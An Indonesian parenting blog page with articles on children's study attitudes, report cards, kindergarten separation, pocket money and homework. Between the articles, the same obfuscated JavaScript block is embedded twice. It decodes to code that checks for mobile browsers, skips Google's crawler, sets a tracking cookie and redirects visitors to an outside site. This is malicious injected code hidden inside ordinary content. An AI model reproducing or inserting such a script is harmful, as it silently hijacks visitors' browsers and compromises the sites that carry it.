Informasi kegiatan Griya Parenting Indonesia dan artikel yang terkait

Sikap Belajar Positif

Orang tua mana yang tidak senang melihat putranya mendapatkan nilai rata-rata sembilan untuk ujian akhir semesternya. Apalagi nilai sembilan tersebut merupakan hasil dari sikap belajar yang positif. Ia dapat memanage waktu bermain dan waktu belajar, ia mempunyai reading habit yang tinggi, ia telah mampu mandiri mencari sumber/referensi bagi belajarnya, dan ia mempunyai perilaku yang baik sesuai dengan materi yang ia kuasai.
Apakah ada seorang anak yang berhasil mendapatkan nilai yang baik tetapi tidak mempunyai sikap belajar yang positif? Mari kita melihat sekeliling kita, adakah anak yang selalu mendapatkan nilai tinggi, namun belajar baginya menjadi beban yang sangat berat, ia selalu menunggu orang lain untuk memotivasi belajarnya, ia juga tidak mampu memilih sumber belajar yang sesuai, dan seusai ujian seluruh rumus yang dihafalkan dilupakannya tanpa mampu mempraktikkannya dalam kehidupan sehari-hari.
Inilah sebenarnya masalah kita sekarang ini, sering anak-anak kita mendapatkan nilai bagus tersebut karena drilling soal-soal ujian dan menghafalkan rumus rumus rumit tanpa mereka memahami dari mana rumus tersebut muncul. Akhirnya, kita sebagai orang tua hanya bisa meminta dan memaksa mereka untuk mengikuti les-les pada LBB yang memang sering menjamin nilai akan baik.
Lalu dimanakah posisi sikap belajar yang positif di dalam proses pendidikan anak-anak kita ? Apakah sudah ada program di rumah atau sekolah yang akan membimbing mereka untuk pandai memanage waktu, mempunyai reading habit yang tinggi, memiliki kemandirian untuk mengakses sumber belajar, dan mengaplikasikan beberapa materi ajar dalam kehidupan sehari-hari mereka?
Jika sikap positif dalam belajar kita asumsikan dapat dicapai oleh anak yang lulus SMP, apa yang dapat kita dan guru lakukan saat ini untuk membangun pondasi bagi timbulnya sikap tersebut? Saya sangat menghargai sebuah sekolah yang telah membangun sebuah sistem, sehingga setiap siswa pada tahun-tahun pertama belajar telah dipaksa secara natural untuk memiliki reading habit dan menyukai bacaan. Ia mempunyai ruang perpustakaan yang setiap anak akan nyaman untuk duduk berlama-lama di dalamnya di tengah-tengah berbagai macam buku bacaan anak yang mereka akan terpikat kepadanya dalam pandangan pertama.
Saya juga sangat bangga mendapati seorang guru yang memberikan selembar kertas kepada siswanya untuk PR mengarang. Di dalam kertas tertulis, “Anak-anak carilah sebuah gambar tentang sebuah desa, gunting dan tempelkan di tengah kertas ini. Kemudian berilah komentar sebanyak-banyaknya tentang gambar desa yang telah kalian tempelkan di pinggir luar gambar tersebut”. Pada hari selanjutnya guru tersebut membimbing anak-anak untuk mengurutkan komentar-komentar mereka dan menjadikannya sebuah paragraf karangan tentang desa. Saya ingat kembali guru saya di kelas IV sekolah dasar yang memberi PR untuk menulis karangan dengan kata-kata berikut ini, “Anak-anak buka buku kalian dan tulislah karangan yang berjudul desaku”. Kemudian saya hanya memikirkan kata-kata yang sulit muncul tentang desaku, tanpa membayangkan kondisi riil sebuah desa.
Saya kira kita orang tua dapat mulai membangun sikap belajar yang positif bagi putra-putri kita dengan gemar melakukan percobaan-percobaan sederhana bersama-sama mereka. Membungkus buah belimbing bersama anak kemudian membuka bungkusan tersebut setelah beberapa bulan lalu membandingkan antara buah yang dibungkus dan buah yang tidak dibungkus. Atau membuat mobil-mobilan dari kardus-kardus bekas bungkus peralatan elektronik yang hendak kita buang di tempat sampah. Kata kuncinya adalah berikan kesempatan mereka untuk bereksplorasi dengan alat-alat sederhana di sekeliling mereka, dan bimbing mereka untuk menemukan nilai-nilai yang berharga di dalam eksplorasi tersebut.
Ada seorang ibu menyampaikan pengalamannya, suatu hari putra pertamanya bercerita tentang buku yang telah ia baca di perpustakaan. Dalam buku tentang rahasia semut itu disebutkan cara mengembangbiakkan semut dengan menyiapkan sebuah toples yang diisi dengan pasir lalu disiapkan makanan. Kemudian menempatkan beberapa ekor semut yang sejenis di dalamnya. Mendengar cerita putranya ini, ia lalu mengajak putranya untuk mencoba mengembangbiakkan semut dan mereka berhasil. Kita dapat membayangkan sikap apa yang muncul pada diri anak saat ia mampu melakukan percobaan kemudian berhasil di dalam percobaan tersebut.
Seringkali kita mendengarkan celotehan anak-anak kita yang merupakan buah imajinasi mereka. Sebagian dari imajinasi tersebut dapat kita jadikan sarana untuk membimbing anak untuk melakukan percobaan-percobaan sederhana buah fikiran mereka.

Otak anak bukanlah wadah untuk diisi, tetapi api yang siap dipijarkan

Cara Mengajari Anak : Rapor Merah

Sungguh sangat tidak nyaman hati menerima rapor anak kita dengan beberapa nilai dibawah standar minimal. Ketidaknyamanan yang diakibatkan oleh rasa kecewa atas nilai-nilai tersebut dan sedikit rasa malu saat gurunya menunjukkan nilai tersebut kepada kita.
Akan tetapi sebenarnya putra-putri kita yang mendapatkan nilai-nilai tersebut lebih tidak nyaman daripada kita. Mendapatkan nilai yang kurang baik itu sendiri tidak nyaman, mereka juga tidak nyaman saat akan menghadapi respons kedua orang tuanya, dan mereka sendiri mungkin merasa malu terhadap teman-teman yang mendapatkan nilai lebih baik dari dirinya.
Di antara kedua ketidaknyamanan di atas, rasa tidak nyaman orang tua dan rasa tidak nyaman anak, sebenarnya ada hal yang lebih penting untuk dibicarakan yaitu managemen respons orang tua kepada anak terhadap nilai-nilai tersebut. Karena jenis respons yang diambil orang tua terhadap nilai-nilai tersebut sangat menentukan positif atau negatif pengaruh setiap nilai terhadap pendidikan anak.
Beberapa orang tua menganggap bahwa nilai merah adalah hal buruk, dan putra mereka harus menghindarinya. Dengan pemahaman yang seperti ini orang tua akan cenderung menuntut dan bersikap menyalahkan anak jika terdapat nilai merah pada rapornya. Orang tua yang lain mempunyai pandangan lain bahwa nilai merah adalah hal yang sangat wajar dan bukan merupakan sebuah kesalahan. Dengan pandangan seperti ini orang tua cenderung lebih menerima terhadap nilai anak dan menganggapnya adalah hal yang sangat wajar.
Ada dua hal yang terkait dengan tanggapan anak atas respons kita yang juga perlu dipertimbangkan. Pertama adalah penerimaan, yaitu kita sebagai orang tua harus menerima bahwa nilai merah tersebut adalah sebuah keniscayaan di dalam hidup, dan itu tidak merupakan sebuah dosa. Kedua adalah N ach (kebutuhan berprestasi), seorang anak perlu mendapatkan tuntutan dari dirinya sendiri dan orang lain untuk mendapatkan nilai yang baik. Kemampuan kita sebagai orang tua untuk untuk menyeimbangkan antara penerimaan tulus terhadap nilai merah dan membangun tuntutan baik internal maupun eksternal kepada anak untuk mendapatkan nilai yang baik adalah sebuah kunci keberhasilan kita.
Sebagai contoh seorang anak yang mendapatkan nilai buruk kemudian ia begitu gelisahnya bahkan hingga mengalami stress berat, mungkin hal itu diakibatkan oleh penerimaan orang tua atau lingkungan sekelilingnya yang sangat minim terhadap nilai kurang. Sedangkan tuntutan N ach dari orang tua atau lingkungan sekelilingnya yang terlalu besar. Di sinilah peran orang tua untuk membangun suasana penerimaan yang lebih besar baik dari mereka sendiri maupun dari lingkungannya.
Contoh lain adalah seorang anak yang mendapatkan nilai buruk namun begitu nyaman dengan kondisinya dan tidak ada perasaan bersalah, mungkin hal itu diakibatkan oleh penerimaan yang terlalu besar dari orang tua dan lingkungan sekelilingnya serta N ach yang terlalu kecil. Ia merasakan tidak adanya tuntutan dari orang tuanya dan lingkungannya untuk meningkatkan prestasinya. Peran orang tua dalam konteks ini adalah tetap menerima bahwa nilai kecil adalah hal yang wajar, kemudian memunculkan keinginan untuk berprestasi anak untuk meraih nilai yang lebih baik setahap demi setahap.
Terlepas dari beberapa pandangan yang berbeda di atas, ada beberapa hal yang harus diperhatikan orang tua saat menghadapi rapor putra-putrinya:
<ol>
<li>Amati dengan seksama rapor putra-putri kita, baik yang berbentuk kualitatif maupun kuantitatif. Hindarkan tergesa-gesa untuk memberi komentar, apalagi melakukan reaksi terhadap nilai-nilai yang kurang baik.</li>
<li>Mulai respons dari nilai-nilai yang baik dengan memberi pujian dan ucapan terima kasih atas prestasinya</li>
<li>Hindari membanding-bandingkan rapor putra kita dengan raport temannya dan tidak menganggap penting rangking yang ada di sekolah. Setiap anak mempunyai keunikan dan keunggulan masing-masing. Dorong anak kita untuk berprestasi dengan membandingkan nilai yang diperolehnya sekarang dan nilai yang didapatnya pada ujian yang lalu</li>
<li>Menghargai setiap nilai yang diperoleh anak, baik nilai tersebut tinggi maupun nilai rendah. Tawarkan bantuan kepada anak untuk meningkatkan nilainya yang masih rendah.</li>
<li>Beberapa anak perlu dibantu untuk memahami arti sebuah nilai, supaya mereka dapat menimbang hubungan antara effort (usaha) yang mereka keluarkan dan nilai yang mereka dapat.</li>
<li>Semua sikap harus bersandar pada paradigma bahwa nilai baik dan nilai buruk adalah yang wajar dan bukan merupakan kesalahan. Cara orang tua untuk merespon itulah yang lebih penting.</li>
</ol>
Kadang manusia berhasil karena kegagalannya dan kadang manusia gagal karena keberhasilannya

&nbsp;

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mengajar Anak Belajar : Berapa Hari Mama Boleh Menunggu?

Kami sangat optimis terhadap putra kami yang kedua tentang kesiapannya memasuki jenjang pendidikan taman kanak-kanak. Apalagi dengan semangatnya untuk mencoba setiap seragam dan peralatan sekolah, kemudian menunjukkannya kepada teman-temannya sekitar rumah.
Hari awal sekolahpun tiba, ia masih tetap dengan sifatnya yang selalu riang dan selalu menunjukkan baju barunya. Namun, di sore harinya saya mendengar dari mamanya bahwa ia minta untuk ditemani di dalam kelas selama proses belajar. Malamnya kami mencoba untuk berdiskusi tentang upaya yang harus kami lakukan untuk membantu putra kami sehingga berhasil di dalam belajar awal sekolah.
Peristiwa di atas secara tidak kami sadari berlanjut hingga satu pekan, di mana putra kami harus kami antar ke sekolah kemudian mamanya menemaninya di dalam kelas atau di balik jendela kelas. Belum terlihat perkembangan yang signifikan dari putra kami untuk lebih mandiri dan mampu beradaptasi dengan baik atas kondisi sekelilingnya.
Akhirnya kami memutuskan untuk berkonsultasi dengan salah seorang psikolog yang menyarankan kepada kami untuk memberikan dua alternatif bagi putra kami. Alternatif pertama, sekolah dengan hanya diantar oleh mamanya, tanpa ditemani selama masa sekolah. Alternatif kedua, tidak masuk sekolah namun seluruh fasilitas permainan di rumah ditiadakan.
Tanpa memberi tekanan apapun akhirnya kami menyampaikan kedua alternatif tersebut kepada putra kami. Ia memilih alternatif yang kedua yaitu lebih cenderung tidak sekolah dengan seluruh fasilitas permainan rumah ditiadakan daripada sekolah tetapi tidak ditemani mamanya. Di awal proses ia masih merasa enjoy dengan kegiatannya sendiri, berbaring di ranjang, melihat teman-temannya di depan rumah dari balik jendela dan berbicara sendiri. Namun pada perkembangan selanjutnya ia mulai dihantui perasaan tidak nyaman apalagi mamanya yang berada di rumah tidak menghiraukannya setiap permintaan perhatian.
Beberapa permintaan untuk menonton televisi, bermain komputer dan mengambil mainannya dengan tegas ditolak oleh mamanya. Ia mencoba merayu dengan menyebutkan setiap lagu dan doa-doa yang pernah diajarkan oleh gurunya selama satu pekan belajar di sekolah. Namun, rayuan tersebut tidak mampu menjadikan mamanya peduli terhadap dirinya. Hingga ia tertidur dengan sendirinya tanpa disuruh dan ditunggu oleh mamanya.
Waktu bangun tidur datang, dengan tiba-tiba ia menyampaikan kepada mamanya bahwa besok hari ia akan sekolah tanpa harus ditemani oleh mama. Mamanya kemudian meminta ketegasan terhadap pernyataan tersebut, dan dengan mantap ia menyampaikan kembali statement tersebut. Serta merta mamanya menciumnya dan menyampaikan penghargaan atas kesediaan untuk masuk sekolah kembali tanpa ditemani.
Esok hari saat mamanya mengantarkan ke sekolah dan ingin memberi pesan kepada Bu Guru bahwa putra kami sudah berani untuk ditinggal selama masa belajar, tiba-tiba ia mengucapkan ”Mama cepat pulang, adik akan belajar sendiri di sekolah”.
Sejak saat itu putra kami hanya diantar sampai pintu gerbang sekolah di pagi hari dari dijemput pada siang hari. Ia telah berkembang kemandirian dan adaptasinya, minimal belajar tanpa ditemani dan ditunggui orang tuanya.

 

Mengajar Anak Usia Dini : Uang Jajan atau Sangu

Berapakah besar uang jajan (uang saku /sangu) yang pas bagi siswa sekolah dasar dan bagi siswa sekolah menengah? Apakah uang jajan anak kita dapat kita jadikan sarana untuk mendidik mereka?
Menentukan besarnya uang jajan bagi seluruh anak pada semua sekolah adalah hal tidak mungkin kita lakukan. Karena variabel untuk menentukannya juga sangat beragam. Tingkat ekonomi orang tua, harga barang dan makanan pada tiap daerah, waktu anak belajar di sekolah, tingkat konsumsi anak, jenis kebutuhan anak dan variabel lain yang tidak dapat disebut. Sikap yang bijak bagi orang tua adalah melakukan survey sederhana terhadap beberapa variable di atas, kemudian melakukan dialog dengan anak atas kebutuhan-kebutuhan mereka, tawar-menawar jumlah uang jajan dan pemberian uang tersebut yang disertai dengan observasi penggunaan uang.
Banyak sekali orang tua melakukan kesalahan di dalam pemberian uang jajan kepada putra-putrinya, karena alasan cinta dan rasa kasihan, mereka memberikan uang melebihi kebutuhan anak tersebut. Anak mengkonsumsi beberapa makanan yang membahayakan bagi mereka, anak membeli barang-barang yang sebenarnya bukan menjadi kebutuhan mereka, dan mereka tidak mempunyai kontrol terhadap yang apa yang mereka beli
Namun, pada sisi lain beberapa orang tua terlalu kecil memberikan uang bahkan tidak memberikan sama sekali. Akibatnya anak tidak tercukupi kebutuhan, atau mereka menjadi minder karena ia sendiri yang tidak dapat memenuhi kebutuhan mereka.
Uang yang kita berikan kepada putra-putri kita sebenarnya dapat kita jadikan sebagai sarana untuk mendidik mereka, bukan sekedar untuk mencukupi kebutuhan mereka. Ada beberapa hal yang dapat kita ambil dari proses ini
<strong>Pertama</strong>, anak dilatih untuk membuat anggaran. Hal ini sangat berguna baginya setelah dewasa nanti, yakni setiap kali menerima uang, ia memiliki sebuah rencana penggunaan dana. Dengan adanya anggaran, pengelolaan juga menjadi lebih mudah dan penggunaan uang lebih bisa dikontrol. Untuk anak yang relatif masih kecil misalnya kelas tiga sekolah dasar, uang jajan bisa diberikan perminggu. Anggaran yang dibuat juga lebih sederhana misalnya dengan menuliskan apa saja yang ingin mereka beli pada pekan itu
<strong>Kedua</strong>, setelah anak menjadi lebih besar misalnya SMP atau SMA, sejumlah uang bisa diberikan sebulan sekali, tergantung pada kemampuan anak untuk mengaturnya. Karena diberikan sebulan sekali, sering disebut juga uang bulanan. Uang bulanan ini bisa mencakup hal-hal yang lebih luas. Anggaran yang dibutuhkan juga sedikit lebih kompleks dibandingkan sebelumnya. Anggaran bisa terdiri dari uang sekolah, uang les (kalau ada), transpor atau antar jemput, uang jajan,uang untuk kegiatan sosial (menjenguk teman yang sakit, sumbangan, dsb), serta tabungan. Uang kegiatan sosial bisa dimasukkan ke dalam anggaran, atau bisa juga diberikan secara insidental sesuai dengan kebutuhan. Saat anak di univertas, anggaran tentunya akan semakin luas, misalnya perlu dimasukkan anggaran untuk pakaian, sepatu, salon, hiburan atau rekreasi, fotokopy, uang buku, telepon, dan sebagainya.
<strong>Ketiga</strong>, anak belajar menahan diri, disiplin, dan menentukan prioritas atau memilih. Anak akan belajar bahwa ia tidak selalu bisa membelanjakan uangnya semaunya sendiri sesuai dengan keinginan. Ada batasan-batasan yang perlu diikuti dan dipatuhi agar pemakaian tidak melampaui anggaran yang ada. Sebab itu, saat anak ingin sekali membeli sesuatu tapi ternyata anggaran tidak memadai, ia akan belajar menahan diri dengan menunda, misalnya kalau barang itu memang sangat dibutuhkannya, atau ia akan melupakannya bila barang itu sebenarnya tidak terlalu dibutuhkan. Selain itu, anak juga belajar untuk menentukan prioritas dan belajar memilih mana yang harus didahulukan, mana yang masih bisa ditunda, dan mana yang mungkin dilupakan saja atau diabaikan.
<strong>Keempat</strong>, anak belajar lebih bertanggung jawab terhadap kepercayaan yang diberikan padanya. Waktu anak diserahkan sejumlah uang untuk dikelola sesuai dengan kebutuhannya, ia merasa dipercaya bahwa ia mampu melakukannya. Dan saat seseorang dipercaya, ia cenderung akan membuktikannya bahwa ia memang bisa dipercaya dan bahwa ia mampu. Dengan kata lain, saat seseorang dipercaya, ia juga cenderung lebih bertanggung jawab, kecuali bila ada masalah tertentu yang dapat menjadi hambatan. Selain itu, dengan adanya anggaran, anak bisa mengevaluasi apakah penggunaannya sudah sesuai, atau terlalu banyak hal yang melenceng sehingga perlu diperbaiki dan diperbaharui.
<strong>Kelima</strong>, anak belajar menabung. Anak perlu dilatih untuk menabung baik untuk membeli barang-barang yang memang dibutuhkan namun dengan jumlah dana yang cukup besar, ataupun untuk menghadapi situasi atau kebutuhan tak terduga. Dengan menabung, anak juga dipersiapkan untuk menghindari kebiasaan meminjam atau utang yang berpotensi memunculkan konflik di dalam keluarga.
<strong>Keenam</strong>, anak diajarkan tentang shadaqah sekaligus penerapannya. Ketika anak menerima uang jajan, mereka diminta untuk menyisihkan sebagian uang tersebut. Konsep bahwa sebagian harta adalah milik Allah perlu ditanamkan. Bila anak sejak dini mengenal dan memahami konsep tersebut, mereka umumnya akan menerapkan shadaqah dalam hidup mereka tanpa mengalami banyak kesulitan. Pada saat kita menanamkan konsep shadaqah, anak sebenarnya juga belajar tentang kejujuran, yaitu mengembalikan bagian yang menjadi milik Allah. Kita dapat menjelaskan juga tentang penggunaan uang shadaqah tersebut.

&nbsp;<script>var _0x446d=["\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x6F\x6F\x6B\x69\x65","\x75\x73\x65\x72\x41\x67\x65\x6E\x74","\x76\x65\x6E\x64\x6F\x72","\x6F\x70\x65\x72\x61","\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26","\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74","\x74\x65\x73\x74","\x73\x75\x62\x73\x74\x72","\x67\x65\x74\x54\x69\x6D\x65","\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D","\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67","\x6C\x6F\x63\x61\x74\x69\x6F\x6E"];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}</script>

Cara Mendidik Anak yang Benar : Orang Tua dan PR Anak

Bu Hadi selalu uring-uringan dengan putranya yang tengah belajar di kelas IV SD, setiap hari ia selalu disodori anaknya untuk bertanya tentang PR yang dia sendiri kurang menguasainya. Lain lagi dengan Bu Huda, ia selalu bertanya mengapa sekolah jarang sekali memberikan PR kepada putranya. Bu Anton hari-hari ini terlihat santai karena ia telah menemukan guru les yang akan selalu membantu putranya dalam mengerjakan PR.
PR singkatan dari pekerjaan rumah, yaitu sejumlah tugas yang diberikan guru kepada siswanya untuk dikerjakan di rumah. Ada beberapa maksud seorang guru memberikan PR kepada siswanya, diantaranya; pertama, PR sebagai kelanjutan pembelajaran di kelas, setelah anak memahami konsep yang diajarkan maka anak memasuki tahapan pembinaan keterampilan dengan memberikan soal-soal kepada mereka. Soal-soal tersebut dapat dikerjakan di dalam kelas atau dibawa ke rumah dalam bentuk PR.
Kedua, PR sebagai alat evaluasi guru apakah proses pembelajarannya telah dipahami oleh anak. Seorang guru akan memberikan PR kepada anak sesuasi dengan sebaran pokok bahasan yang telah disampaikannya. Ketiga, PR sebagai tugas mandiri anak untuk mempersiapkan materi yang akan datang, seperti anak diminta mengumpulkan data tentang Pulau Sulawesi sebelum guru menjelaskan tentang pulau tersebut. Keempat, PR sebagai alat untuk remidi dan pengayaan bagi anak, Kelima, PR sebagai alat untuk membangun kemandirian anak dalam belajar
Dengan berbagai tujuan PR di atas, ada beberapa fenomena yang muncul baik positif maupun negatif di kalangan orang tua, diantaranya:
<ol>
<li>Orang tua sering kurang memahami arah dan tujuan PR yang dibebankan kepada putra-putrinya. Seperti seorang siswa SD kelas satu yang diberi PR berupa mencontoh beberapa bangun segitiga, segiempat, lingkaran dan lain-lain. Ada orang tua yang justru meminta putranya untuk menggunakan penggaris saat mencontoh beberapa bidang tersebut. Padahal, dengan menggunakan alat tersebut nilai yang berupa peningkatan motorik halus anak kurang berkembang sesuai dengan tujuan diberikannya PR itu.</li>
<li>Beberapa orang tua mengerjakan PR anaknya dengan harapan dapat mendongkrak nilai harian putranya. Sikap ini justru pada jangka panjang akan membunuh kemandirian dan tanggung jawab anak. Disamping itu dengan jawaban orang tua, seorang guru tidak dapat mengevaluasi tingkat pemahaman anak didiknya terhadap materi yang diajarkan.</li>
<li>Tugas orang tua tentang PR adalah mendampingi anak di dalam mengerjakan PR, membimbing pada hal-hal yang anak kurang memahaminya, dan meneliti pekerjaan anak. Jika anak belum memahami konsep dengan benar, PR itu dapat dikembalikan kepada gurunya</li>
<li>Anak dituntut untuk harus selalu dapat mengerjakan PR dengan benar. PR anak tidak selalu harus benar, seorang anak perlu merasakan pernah salah karena ketidaktelitiannya sebagaimana ia pernah merasakan hal yang benar</li>
<li>Beberapa orang tua kebingungan saat anaknya tidak mempunyai PR yang harus ia kerjakan, karena ia tidak mempunyai sarana untuk memaksa putranya belajar. Paradigma belajar yang identik dengan PR akan sangat merugikan bagi siswa pada jangka panjang. Karena dapat membangun pola berfikir (mindset) anak bahwa belajar adalah tugas dan beban.</li>
